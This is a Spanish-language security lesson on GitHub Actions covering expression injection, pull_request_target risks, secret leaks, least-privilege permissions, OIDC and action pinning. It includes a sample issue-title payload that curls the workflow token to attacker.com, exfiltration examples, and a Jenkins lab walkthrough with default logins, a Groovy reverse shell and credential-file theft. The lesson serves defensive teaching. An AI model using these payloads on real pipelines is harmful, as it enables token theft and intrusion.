Aprende › Cloud, APIs, forense y más

GitHub Actions security: secret leaks, injection y OIDC

· 13 min de lectura

GitHub Actions es el motor CI/CD más usado del mundo y un target prioritario. Aprende los patrones de ataque concretos (expression injection, pull_request_target, runners comprometidos), cómo se filtran secrets y cómo OIDC elimina credenciales persistentes.

GitHub Actions se ha convertido en el motor de CI/CD dominante del ecosistema open source y de gran parte de la industria. Más de 100 millones de repositorios en GitHub lo usan de alguna forma, y cada workflow que ejecutas tiene acceso a secretos, tokens de escritura sobre el repositorio y, en muchos casos, credenciales de cloud. Eso convierte cada archivo .github/workflows/*.yml en una superficie de ataque que merece el mismo escrutinio que el código de la aplicación.

Esta lección profundiza exclusivamente en la seguridad de GitHub Actions: los patrones de inyección que permiten ejecución remota de código en runners, la diferencia crítica entre pull_request y pull_request_target, cómo los secrets se filtran por errores de diseño, la cadena de suministro de acciones de terceros, y cómo OIDC federation elimina la necesidad de guardar credenciales cloud de larga vida. Es la quinta lección de la Tanda 9, centrada en cloud nativo e infraestructura como código.

Practica solo en repositorios propios o en entornos de laboratorio. Modificar workflows ajenos, abrir PRs con payloads maliciosos o exfiltrar secrets de pipelines de terceros sin autorización explícita es acceso no autorizado y puede tener consecuencias legales.

Qué es la expression injection en GitHub Actions#

El motor de plantillas de GitHub Actions expande expresiones ${{ }} antes de que el shell las ejecute. Cuando una expresión contiene datos controlados por un usuario externo, como el título de un issue, el body de un pull request o el nombre de una rama, el valor se inserta literalmente en el comando shell. Si el atacante incluye metacaracteres de shell, logra ejecución arbitraria de código en el runner.

GitHub Actions injection: expression context → shell command → RCE
GitHub Actions injection: expression context → shell command → RCE

El patrón vulnerable es simple. Imagina un workflow de triage automático:

on:
  issues:
    types: [opened]
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Nuevo issue: ${{ github.event.issue.title }}"

Si un atacante crea un issue con el título:

"; curl https://attacker.com/exfil?t=$(cat $GITHUB_TOKEN) #

El shell recibe:

echo "Nuevo issue: "; curl https://attacker.com/exfil?t=$(cat $GITHUB_TOKEN) #"

Y ejecuta el curl con el token del workflow. El mismo patrón aplica a github.event.pull_request.title, github.event.pull_request.body, github.event.comment.body, github.event.discussion.title, github.head_ref (nombre de rama del PR) y cualquier campo que un usuario externo pueda escribir.

Contextos inyectables más frecuentes#

ContextoControlado porRiesgo
github.event.issue.titleCualquier usuario con acceso al repoAlto en repos públicos
github.event.issue.bodyCualquier usuarioAlto
github.event.pull_request.titleAutor del PRAlto en repos que aceptan PRs externos
github.event.pull_request.bodyAutor del PRAlto
github.event.comment.bodyCualquier usuario con permisos de comentarAlto
github.head_refAutor del PR (nombre de rama)Medio-alto
github.event.discussion.titleAutor de la discusiónMedio

Mitigación: variable de entorno intermedia#

La solución canónica es pasar el dato como variable de entorno, no como expresión inline:

- name: Triage seguro
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "Nuevo issue: $ISSUE_TITLE"

Al asignar el valor a una variable de entorno, el shell recibe un string literal en $ISSUE_TITLE sin expandir metacaracteres. Esta técnica aplica a todos los contextos inyectables sin excepción.

Por qué ocurre: pull_request vs pull_request_target#

La diferencia entre estos dos triggers es la causa raíz de muchas vulnerabilidades críticas. Entenderla a fondo es obligatorio para cualquier persona que mantenga workflows.

El trigger pull_request ejecuta el workflow en el contexto del merge commit del PR. Cuando el PR viene de un fork, el workflow no tiene acceso a los secrets del repositorio base ni al GITHUB_TOKEN con permisos de escritura. Esto es seguro por diseño: un PR externo no puede robar secrets.

El trigger pull_request_target se diseñó para workflows que necesitan etiquetar PRs o dejar comentarios, operaciones que requieren permisos de escritura. Ejecuta el workflow en el contexto del repositorio base con todos sus secrets y un GITHUB_TOKEN con write access. Si el workflow hace checkout del código del PR (la rama head) y luego lo ejecuta, el atacante controla el código que corre con privilegios del repo base.

# VULNERABLE: checkout del PR + ejecución con secrets del base
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

El npm install ejecuta scripts definidos en el package.json del PR, que el atacante controla. Si incluye un postinstall malicioso, corre con acceso a todos los secrets.

# SEGURO: solo checkout del base, datos del PR por API
on: pull_request_target
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - uses: actions/checkout@v4  # checkout del base, no del PR
      - name: Etiquetar PR
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: gh pr edit ${{ github.event.number }} --add-label "needs-review"

Tipos de filtración de secrets#

Los secrets en GitHub Actions se enmascaran en los logs (aparecen como asteriscos), pero hay múltiples formas de burlar ese filtro:

TécnicaCómo funcionaEjemplo
Exfiltración por redEl secret se envía a un servidor controlado por el atacantecurl attacker.com/?s=$SECRET
Base64 bypassEl log enmascara el valor literal pero no su encodingecho $SECRET piped a base64
Carácter a carácterCada carácter por separado no coincide con el patrónLoop que imprime un char por línea
ArtefactosSe escribe el secret en un archivo y se sube como artifactecho $SECRET > leak.txt + upload-artifact
Outputs de stepsUn step expone el secret como output y otro step lo usa en contexto inyectableecho "val=$SECRET" >> $GITHUB_OUTPUT

La mejor defensa es combinar: minimizar los secrets accesibles por cada job, usar OIDC para eliminar secrets de cloud, y activar GitHub Secret Scanning con alertas push protection para que un secret comprometido sea detectado antes de llegar al log.

Dónde aparece: GITHUB_TOKEN y permisos#

Cada workflow recibe un GITHUB_TOKEN automático. Por defecto, en repos públicos creados después de febrero de 2023, los permisos son de solo lectura. Pero muchos repos heredan la configuración antigua con permisos amplios, y muchos workflows piden permisos excesivos:

# MAL: permisos máximos
permissions: write-all

# BIEN: mínimo privilegio
permissions:
  contents: read
  pull-requests: write

La configuración a nivel de organización en Settings → Actions → General → Workflow permissions debería estar en "Read repository contents and packages permissions" y cada workflow debe declarar exactamente lo que necesita.

PermisoQué otorgaCuándo pedirlo
contents: readClonar el repoSiempre necesario para checkout
contents: writePush commits, crear releasesSolo jobs de release
pull-requests: writeComentar, etiquetar, aprobar PRsSolo bots de triage
packages: writePublicar en GitHub PackagesSolo jobs de publish
id-token: writeSolicitar OIDC JWTPara OIDC federation con cloud
security-events: writeSubir resultados SARIF a Code ScanningSolo jobs de SAST

Cómo se detecta#

Análisis manual de workflows#

Busca en los archivos .github/workflows/*.yml del repositorio:

# Buscar expresiones inyectables en run steps
grep -rn '\${{.*github\.event\.' .github/workflows/
# Buscar pull_request_target con checkout de head
grep -rn 'pull_request_target' .github/workflows/
# Buscar actions sin pin a SHA
grep -rn 'uses:' .github/workflows/ | grep -v '@[a-f0-9]\{40\}'

Herramientas automatizadas#

HerramientaQué haceTipo
ZizmorAuditoría estática de workflows de GitHub Actions, detecta injection, permisos excesivos, secrets en logsCLI open source
OpenSSF ScorecardEvalúa prácticas de seguridad del repo incluyendo pinning de actions y branch protectionCLI y GitHub App
StepSecurity Harden-RunnerMonitoriza tráfico de red y acceso a archivos de cada step en runtimeGitHub Action
GitHub Secret ScanningDetecta secrets comprometidos en código y logsIntegrado en GitHub
Dependabot for ActionsActualiza y pinea acciones de terceros automáticamenteIntegrado en GitHub

Explotación paso a paso en un laboratorio#

El laboratorio arasaka de whoami-labs incluye un servidor Jenkins cuya consola de scripts es accesible. Aunque Jenkins no es GitHub Actions, el patrón es el mismo: un motor de CI/CD con ejecución de código y acceso a credenciales.

Paso 1: enumeración del servicio CI/CD#

nmap -sV IP_DEL_LAB

Identifica los puertos abiertos. Jenkins suele correr en el puerto 8080. Busca la pantalla de login.

Paso 2: acceso con credenciales por defecto#

Prueba combinaciones habituales como admin:admin, jenkins:jenkins. En muchos entornos de desarrollo las credenciales por defecto nunca se cambian.

Paso 3: abuso de la consola de scripts#

Una vez dentro de Jenkins, navega a Manage Jenkins → Script Console. Ejecuta Groovy para obtener una reverse shell:

def cmd = ["bash", "-c", "bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1"]
cmd.execute()

Paso 4: búsqueda de credenciales#

Dentro del servidor, busca credenciales almacenadas:

find / -name "credentials.xml" 2>/dev/null
cat /var/lib/jenkins/credentials.xml

Jenkins almacena credenciales cifradas con una master key en /var/lib/jenkins/secrets/. Si tienes acceso de lectura, puedes descifrarlas.

Paso 5: movimiento lateral y escalada#

Con las credenciales obtenidas del CI/CD, intenta acceder por SSH a otros usuarios o sistemas. Un servidor CI/CD comprometido suele tener acceso a la red interna y credenciales de deploy.

Qué puede lograr un atacante#

ImpactoDescripciónSeveridad
Robo de secretsAPI keys, tokens de deploy, credenciales cloud exfiltradasCrítica
Supply chain poisoningInyección de código malicioso en artefactos de build que llegan a producciónCrítica
Movimiento lateralDesde el runner a la red interna si es self-hostedAlta
PersistenciaModificar workflows para mantener acceso silencioso en cada buildAlta
CriptomineríaAbuso de runners hosted para minar criptomonedas a costa de la víctimaMedia
Exfiltración de códigoAcceso al código fuente privado del repositorioAlta

Cómo se corrige#

La corrección combina configuración defensiva del workflow, eliminación de secrets persistentes con OIDC, y monitorización de la ejecución.

OIDC federation: workflow → token exchange → cloud provider → short-lived credentials
OIDC federation: workflow → token exchange → cloud provider → short-lived credentials

OIDC federation: eliminar secrets de cloud#

En lugar de guardar un AWS_ACCESS_KEY_ID como secret de GitHub, el workflow solicita un token JWT al proveedor OIDC de GitHub y lo intercambia directamente con el proveedor cloud por credenciales temporales de corta duración (15 minutos típicamente):

permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-deploy
          aws-region: us-east-1
      - run: aws s3 sync ./dist s3://my-bucket

El role de AWS tiene una trust policy que valida las claims del JWT: el repositorio, la rama, el environment y la organización. Un token emitido para repo:evil/malicious no puede asumir un role que solo confía en repo:company/app.

{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:sub": "repo:company/app:ref:refs/heads/main",
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
    }
  }
}

Lo mismo aplica a GCP Workload Identity Federation y Azure Federated Credentials. El principio es idéntico: el proveedor cloud verifica un JWT firmado por GitHub, no un secret estático.

Pin de acciones a SHA#

# VULNERABLE: tag mutable
- uses: actions/checkout@v4

# SEGURO: SHA inmutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Un atacante que comprometa el repositorio de una acción popular puede mover el tag v4 a un commit malicioso. Un SHA es inmutable. Dependabot puede mantener los SHAs actualizados automáticamente con:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Self-hosted runners seguros#

  • Usa runners ephemeral (--ephemeral flag): se destruyen después de cada job.
  • Nunca registres runners self-hosted en repositorios públicos.
  • Aísla runners en red: sin acceso a sistemas internos que no necesiten.
  • No montes el Docker socket en el runner.
  • Usa runner groups para restringir qué repos pueden usar qué runners.
  • Considera runners de GitHub hosted larger para workloads que necesitan más recursos.

Configuración de organización#

Settings → Actions → General:
  ✓ Workflow permissions: Read repository contents
  ✓ Require approval for first-time contributors
  ✓ Do not allow Actions from forks of private repos
  ✓ Allow only selected actions (verified creators + lista blanca)

Errores comunes al defenderse#

  • Creer que el enmascaramiento de logs protege los secrets (un curl a un servidor externo los exfiltra sin tocar los logs).
  • Usar pull_request_target para "ahorrar" la aprobación manual de PRs de forks, exponiendo todos los secrets.
  • Pinear acciones a tag (v4) pensando que es suficiente. Los tags son mutables.
  • No declarar permissions en el workflow, heredando los permisos por defecto de la organización.
  • Guardar credenciales cloud de larga vida como secrets cuando OIDC las elimina por completo.
  • Compartir self-hosted runners entre repositorios públicos y privados.
  • No activar Dependabot para el ecosistema github-actions, dejando acciones desactualizadas con vulnerabilidades conocidas.

Preguntas frecuentes#

Zizmor, Scorecard y StepSecurity: en qué se diferencian#

Zizmor es un linter estático que analiza la sintaxis YAML de tus workflows y detecta patrones peligrosos como expression injection o permisos excesivos. Scorecard evalúa las prácticas de seguridad del repositorio completo, incluyendo branch protection, code review y pinning. StepSecurity Harden-Runner monitoriza en runtime el tráfico de red y el sistema de archivos durante la ejecución del workflow, detectando exfiltraciones. Los tres son complementarios.

OIDC elimina todos los secrets#

No. OIDC elimina las credenciales de acceso a proveedores cloud (AWS, GCP, Azure). Otros secrets como API keys de servicios SaaS, tokens de NPM para publicar, o claves de firma siguen necesitando almacenarse como GitHub Secrets. La ventaja es reducir la superficie: las credenciales cloud son las más valiosas.

Un workflow de un fork puede leer mis secrets#

Con pull_request, no. Con pull_request_target, sí, si el workflow hace checkout del código del fork y lo ejecuta. Con workflow_run triggered por un PR de fork, depende de la configuración. La regla general: si el código que se ejecuta viene del fork y el contexto tiene secrets, hay riesgo.

Cómo audito los workflows de toda mi organización#

GitHub provee el endpoint GET /orgs/{org}/actions/permissions/workflow en su API. Puedes usar gh api para listar todos los repos con Actions habilitadas, luego clonar y analizar con Zizmor en batch. StepSecurity también ofrece un dashboard de organización.

Puedo confiar en acciones de verified creators#

Verified creator es mejor que nada, pero no es garantía. El programa verifica la identidad del publisher, no audita el código de cada release. Pinear a SHA sigue siendo necesario. Verified creator reduce el riesgo de typosquatting (alguien crea actons/checkout con typo), pero un maintainer comprometido sigue siendo un vector.

Qué pasa si alguien ya exfiltró un secret#

Rota el secret inmediatamente. Revisa los logs de Actions para determinar qué workflows tuvieron acceso al secret comprometido. Verifica el audit log de la organización para detectar accesos anómalos. Si era una credencial cloud, revisa los logs del proveedor (CloudTrail para AWS, Audit Log de GCP) para determinar si se usó.

Resumen#

  • Las expresiones ${{ }} con datos controlados por el usuario son el vector de inyección principal en GitHub Actions. La mitigación es usar variables de entorno intermedias.
  • pull_request_target ejecuta con secrets del repo base: nunca hagas checkout del código del PR en ese contexto.
  • GITHUB_TOKEN debe tener el mínimo de permisos necesarios declarados explícitamente con permissions.
  • Las acciones de terceros deben pinearse a SHA, no a tags mutables. Dependabot para github-actions automatiza la actualización.
  • OIDC federation elimina la necesidad de guardar credenciales cloud de larga vida como secrets, reduciendo drásticamente la superficie de ataque.
  • Self-hosted runners deben ser ephemeral, aislados en red, y nunca registrados en repos públicos.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría